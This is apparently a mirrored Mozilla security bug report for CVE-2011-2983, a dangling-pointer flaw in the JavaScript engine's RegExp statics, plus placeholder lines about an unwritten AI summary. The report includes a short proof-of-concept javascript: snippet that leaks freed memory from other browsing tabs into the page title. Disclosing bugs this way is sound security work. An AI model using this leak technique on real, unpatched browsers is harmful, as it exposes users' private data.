regexp-statics possibly allows to read private data
- Fixed in 6 months
- Paid in 2.5 years
- Disclosed after 6 months
Created attachment 504334
screenshot of the success case
Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.13) Gecko/20101203
Description:
When RegExp.input is set,
JSSubString which RegExp.$1 uses becomes a dangling pointer.
So, scripts can read a freed-and-recycled memory area.
Testcase:
1. Open the new tab and execute:
javascript:
function S(v) { return "xxxxxxx,xxxxxxx,xxxx" + v; }
/^(.*)/.exec(S(0));
RegExp.input = S(1);
clearInterval(window.tid);
window.tid = setInterval(function () {
document.title = "[" + RegExp.$1 + "]";
}, 1000);
void 0;
2. Then browse some sites in other tabs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A security bug in JavaScript Engine. Mozilla made it public on 22 July 2011 as CVE-2011-2983.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.